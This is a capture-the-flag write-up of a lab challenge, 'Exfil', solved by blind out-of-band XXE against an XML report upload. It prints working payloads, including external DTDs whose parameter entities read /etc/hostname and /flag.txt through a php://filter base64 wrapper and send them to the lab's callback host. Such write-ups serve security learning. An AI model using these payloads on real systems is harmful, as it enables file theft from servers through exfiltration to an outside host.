Exfil

Exfil Analytics' reporting platform. Reports go in, but nothing useful comes back out — or does it?

Room Description

Exfil — figure 1

https://dashboard.webverselabs-pro.com/challenges/exfil

Scenario

Exfil Analytics processes thousands of reports daily. Their submission pipeline accepts uploads and confirms receipt, but never reveals what happens inside. You'll need to find another way to see what the server knows.

Objective

Exfil Analytics' reporting platform. Reports go in, but nothing useful comes back out — or does it?

Initial Analysis

The challenge description immediately suggested that this would not be a traditional reflected XXE vulnerability.

Exfil — figure 2

The landing page has static elements and not much to work with, so let's take a look at the available endpoints through the navigation menu:

<nav><a href="/" class="active">Dashboard</a><a href="/reports">Reports</a><a href="/submit">Submit Report</a><a href="/integrations">Integrations</a><a href="/settings">Settings</a></nav>

Based on the challenge description and the availability of the "Interact" feature for hosting our own webhook/server with payloads, we can easily tell this is going to be an exfiltration challenge. (Hm, the name also probably suggests it :D).

What the interact session looks like:

Exfil — figure 3

and with the option to upload payloads that the victim machine can browse to:

Exfil — figure 4

Finding the bug

We can go through the fluff endpoints first, starting with /settings. We don't really have anything of worth here.

Exfil — figure 5

Similar situation with /integrations, although it definitely gives the feel of a real web application cause of this.

Exfil — figure 6

The /reports endpoint is a static list of pre-defined reports, with a button that redirects to /submit.

Exfil — figure 7

Lastly, we have our lovely /submit endpoint, the actual function that we need to be looking at.

Exfil — figure 8

The application accepted uploaded “reports” and always returned the same generic success message, regardless of file contents:

Exfil — figure 9

Even through HTTP history, we don't see any calls to an API or anything, quite literally we upload an XML file, we get a 200 OK and nothing else, so this will be blind exfiltration. Now, we need to think about how we can try to get a callback to our interact service.

NOTE: The clickable button should be somewhere around Upload Report, it isn't located perfectly on the button visually.

Exploitation

The first thing that I thought of doing was to just try to put my URL as part of an XML entity. This payload defines an entity named xxe that points to the Interact server. If the parser resolved external entities, it would attempt to fetch the supplied URL once &xxe; was encountered inside the XML body.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/test">
]>
<report>
  <title>&xxe;</title>
</report>

We successfully got a callback from the application!

Exfil — figure 10

It is trying to access /test, which doesn't exist at the moment, but we still have a request, the query and body are empty. This confirmed several important things immediately:

  • Uploaded XML was being parsed server-side
  • External entities were enabled
  • The parser was allowed to make outbound HTTP requests
  • Blind XXE exploitation was possible

At this point we had a working out-of-band interaction primitive.

Now, since we know what our attack type should be, we can start looking for references and learn more about the material, and of course, for every web hacking need, we have PortSwigger.

https://portswigger.net/web-security/xxe/blind#detecting-blind-xxe-using-out-of-band-oast-techniques

Right before I started going through the methodology, I tried something like a nested XXE attack, but unfortunately that didn't work, we only got a request to /&xxe;

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
  <!ENTITY leak SYSTEM "http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/&xxe;">
]>
<report>
  <title>&leak;</title>
</report>
Exfil — figure 11

From this we can assume that entities were not recursively expanded inside SYSTEM identifiers. The parser treated &xxe; literally rather than substituting the contents of the referenced file.

So, back to our intended attack path, my next idea was moving entity logic into an external DTD, just like the PortSwigger guide, before I had to lean towards it.

https://www.w3schools.com/xml/xml_dtd.asp

A hosted payload was created inside the Interact panel:

<!ENTITY test SYSTEM "http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/dtdworked">
Exfil — figure 12

The provided URL for the payload is:

http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/__p__/test.dtd

Now, we need an XML report that is going to try to interact with this DTD.

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/__p__/test.dtd">
<report>
  <title>&test;</title>
</report>

We go ahead and upload that report and what do we see:

Exfil — figure 13

This confirmed that external DTD loading was enabled and that entity definitions inside remote DTDs were processed correctly.

Now to confirm that the attack is possible, we need one more thing and that is to confirm that parameter entities are available to us.

We edit our test.dtd payload to be:

<!ENTITY % test "<!ENTITY worked SYSTEM 'http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/peworked'>">
%test;

and the XML report payload is:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/__p__/test.dtd">
<report>
  <title>&worked;</title>
</report>
Exfil — figure 14

Great! We have all the resources we need available to us, so let's try and exfiltrate a typical file that should be always available. We save a new DTD payload on our interact session:

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/?x=%file;'>">
%eval;
%exfil;

and we continue uploading our previous XML report payload:

<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/__p__/test.dtd">
<report>
  <title>&worked;</title>
</report>

Unfortunately, we don't get a callback like this? Why? So of course, I found it weird, because everything made sense to me, but after carefully reading around turns out that the real problem was that raw file contents were being inserted directly into a URL. Special characters (like newlines or &) were likely breaking the request before it could be sent.

While looking around there is a specific segment that trigerred the solution for me:

https://www.invicti.com/learn/out-of-band-xml-external-entity-oob-xxe

Note that this specific attack is not designed to send binary files to the attacker’s server because of URL format limitations. However, you may be able to work around these limitations using techniques such as PHP wrappers to encode the file using Base64.

PHP wrapper time! We can use a wrapper to get around the URL limitations.

php://filter/convert.base64-encode/resource=

Alrighty, let's modify our DTD now and find the machine's hostname, something small so we don't get create a huge outbound request like /etc/hostname.

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/?x=%file;'>">
%eval;
%exfil;

and we go ahead and upload the same XML report:

Exfil — figure 15

We get a lovely callback with the hostname encoded with base64!

Exfil — figure 16

Now yes, we could also go with /etc/passwd or any other system files, but this was enough to confirm it.

Our last payload as a DTD:

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag.txt">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://e0d67147-3970-exfil-7b26c.interact.webverselabs-pro.com/?x=%file;'>">
%eval;
%exfil;

We upload the same XML report, and we get a callback with the flag base64 encoded!

Exfil — figure 17
Exfil — figure 18